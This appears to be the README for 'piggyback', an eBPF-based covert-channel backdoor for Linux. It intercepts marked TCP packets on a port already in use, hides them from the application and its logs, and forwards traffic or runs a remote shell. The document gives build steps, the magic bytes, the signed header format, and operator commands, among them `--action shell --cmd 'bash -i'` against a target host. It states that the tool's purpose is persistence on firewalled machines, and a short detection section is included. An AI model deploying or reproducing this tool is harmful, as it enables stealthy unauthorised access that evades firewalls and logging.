179 lines
5.5 KiB
Markdown
179 lines
5.5 KiB
Markdown
# piggyback
|
|
|
|
Covert channel using Linux TC eBPF. Intercepts TCP packets on a port already in use,
|
|
steals matching ones before the application sees them, forwards or executes per the
|
|
client's instruction. Normal traffic is unaffected. Zero changes to existing services.
|
|
|
|
---
|
|
|
|
## Intended Use
|
|
|
|
**Educational purposes only.** Do not deploy against systems you don't own or have
|
|
explicit authorisation to test.
|
|
|
|
The core use case this demonstrates: persistence on a firewalled host by piggybacking
|
|
on any already-permitted port (e.g. 80/443). Traffic is stolen at TC ingress before
|
|
the application sees it and never appears in its logs.
|
|
|
|
---
|
|
|
|
```
|
|
Mode 1 — Plain TCP
|
|
Client Server (:80)
|
|
│── TCP packet ────────────→ TC eBPF ingress
|
|
│ [MAGIC][header] magic match?
|
|
│ YES → TC_ACT_STOLEN → daemon
|
|
│ NO → TC_ACT_OK → app (nginx etc.)
|
|
|
|
Mode 2 — Client wraps in legitimate TLS (middleware terminates SSL)
|
|
Client Middleware (:443) Server (:80)
|
|
│── valid TLS ──→ │ │
|
|
│ [MAGIC] │── [MAGIC][header] ─────→ TC eBPF ingress
|
|
│ inside │ (inner bytes fwd) → same as Mode 1
|
|
```
|
|
|
|
Mode 2 is identical server-side. Client sends a real TLS handshake toward
|
|
middleware (nginx, Caddy, HAProxy) with the correct SNI so routing works.
|
|
Middleware decrypts and forwards inner bytes to the plain TCP backend.
|
|
|
|
---
|
|
|
|
## Requirements
|
|
|
|
- Linux 5.8+ (ring buffer + sk_lookup)
|
|
- Root / `CAP_NET_ADMIN` + `CAP_BPF`
|
|
- `libbpf`, `clang`, `llvm`, `bpftool`, `libsodium`, `libssl`
|
|
|
|
```bash
|
|
# Fedora
|
|
sudo dnf install libbpf-devel clang llvm kernel-headers bpftool libsodium-devel openssl-devel
|
|
# Debian/Ubuntu
|
|
sudo apt install libbpf-dev clang llvm linux-headers-$(uname -r) bpftool libsodium-dev libssl-dev
|
|
```
|
|
|
|
---
|
|
|
|
## Configuration
|
|
|
|
Only two files need editing before compiling. Port must match in both.
|
|
|
|
### `piggyback.bpf.c`
|
|
```c
|
|
#define LISTEN_PORT 80 // port to intercept
|
|
#define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE" // keep in sync with pb-client.c
|
|
```
|
|
|
|
### `piggyback.c`
|
|
```c
|
|
#define IFACE "" // "" = auto-detect default-route interface
|
|
#define LISTEN_PORT 80 // must match piggyback.bpf.c
|
|
#define AUTH_ENABLED 0 // 1 = require Ed25519 signature
|
|
#define TRUSTED_PUBKEY { 0xAB, ... } // 32-byte pubkey from `make keygen`
|
|
```
|
|
|
|
Forward target, action, and target port are **not configured in the daemon** —
|
|
they come from the client packet. The daemon has no idea where to forward until
|
|
a client tells it.
|
|
|
|
---
|
|
|
|
## Build
|
|
|
|
```bash
|
|
make
|
|
```
|
|
|
|
### Generate Ed25519 keypair (for authenticated mode)
|
|
```bash
|
|
make keygen
|
|
# Outputs public key hex → paste into TRUSTED_PUBKEY in piggyback.c
|
|
# Saves engagement.key → pass to pb-client with --key (never copy to target)
|
|
```
|
|
|
|
---
|
|
|
|
## Usage
|
|
|
|
### Server (target machine)
|
|
```bash
|
|
sudo ./piggyback
|
|
```
|
|
|
|
### Client (operator machine)
|
|
```bash
|
|
# Mode 1 — plain TCP, no auth, forward to sshd
|
|
./pb-client 1.2.3.4 80 2222
|
|
|
|
# Mode 2 — through TLS middleware (SNI must match middleware routing)
|
|
./pb-client 1.2.3.4 443 2222 --mode tls --sni internal.corp.com
|
|
|
|
# With auth — forward to custom target
|
|
./pb-client 1.2.3.4 80 2222 --key engagement.key --target 10.0.0.5:3389
|
|
|
|
# Shell execution
|
|
./pb-client 1.2.3.4 80 2222 --key engagement.key --action shell --cmd 'bash -i'
|
|
|
|
# Then connect
|
|
ssh -p 2222 user@localhost
|
|
```
|
|
|
|
Full client options:
|
|
```
|
|
./pb-client <server_ip> <server_port> <local_port> [options]
|
|
|
|
--mode tcp|tls connection mode (default: tcp)
|
|
--sni <hostname> SNI for TLS — must match middleware virtual host config
|
|
--key <path> Ed25519 private key PEM (enables auth)
|
|
--action forward|shell (default: forward)
|
|
--target <ip:port> forward target on server side (default: 127.0.0.1:22)
|
|
--cmd <command> shell command for --action shell (default: bash)
|
|
-v verbose
|
|
```
|
|
|
|
---
|
|
|
|
## Auth flow (AUTH_ENABLED=1)
|
|
|
|
1. `make keygen` — generate Ed25519 keypair
|
|
2. Set `TRUSTED_PUBKEY` + `AUTH_ENABLED=1` in `piggyback.c`, recompile daemon
|
|
3. Pass `--key engagement.key` to `pb-client` (key stays on operator machine)
|
|
4. Client sends: `MAGIC` (6) + 80-byte signed header
|
|
5. Daemon verifies Ed25519 sig, checks timestamp (±60s), checks replay ring
|
|
6. On pass: executes action from header
|
|
7. On fail: connection dropped silently
|
|
|
|
Signed header format (80 bytes after MAGIC):
|
|
```
|
|
[0..7] unix timestamp, big-endian uint64
|
|
[8] action (0x01=forward, 0x02=shell)
|
|
[9..12] target IPv4
|
|
[13..14] target port big-endian
|
|
[15] reserved
|
|
[16..79] Ed25519 sig over bytes [0..15] + server interface IPv4 (4 bytes)
|
|
```
|
|
|
|
Without `--key`: header still sent but timestamp=0 and sig=zeros. Daemon in
|
|
no-auth mode reads action+target and skips signature verification.
|
|
|
|
---
|
|
|
|
## Detection (Blue Team)
|
|
|
|
```bash
|
|
tc filter show dev eth0 ingress # TC eBPF filters
|
|
bpftool prog list # all loaded eBPF programs
|
|
bpftool map list # eBPF maps (conn_state, pending, daemon_sock)
|
|
```
|
|
|
|
Baseline `bpftool prog list` on clean systems. Alert on new TC ingress programs
|
|
on internet-facing interfaces.
|
|
|
|
---
|
|
|
|
## Known Limitations
|
|
|
|
- **ACTION_FORWARD target is IPv4 only** — header has 4 bytes for target IP
|
|
- **Replay ring is size-bounded** — 256 entries, evicted by overwrite not expiry
|
|
- **sk_lookup may fail on some kernels** — daemon logs a warning and falls back
|
|
(works everywhere except strict NAT scenarios)
|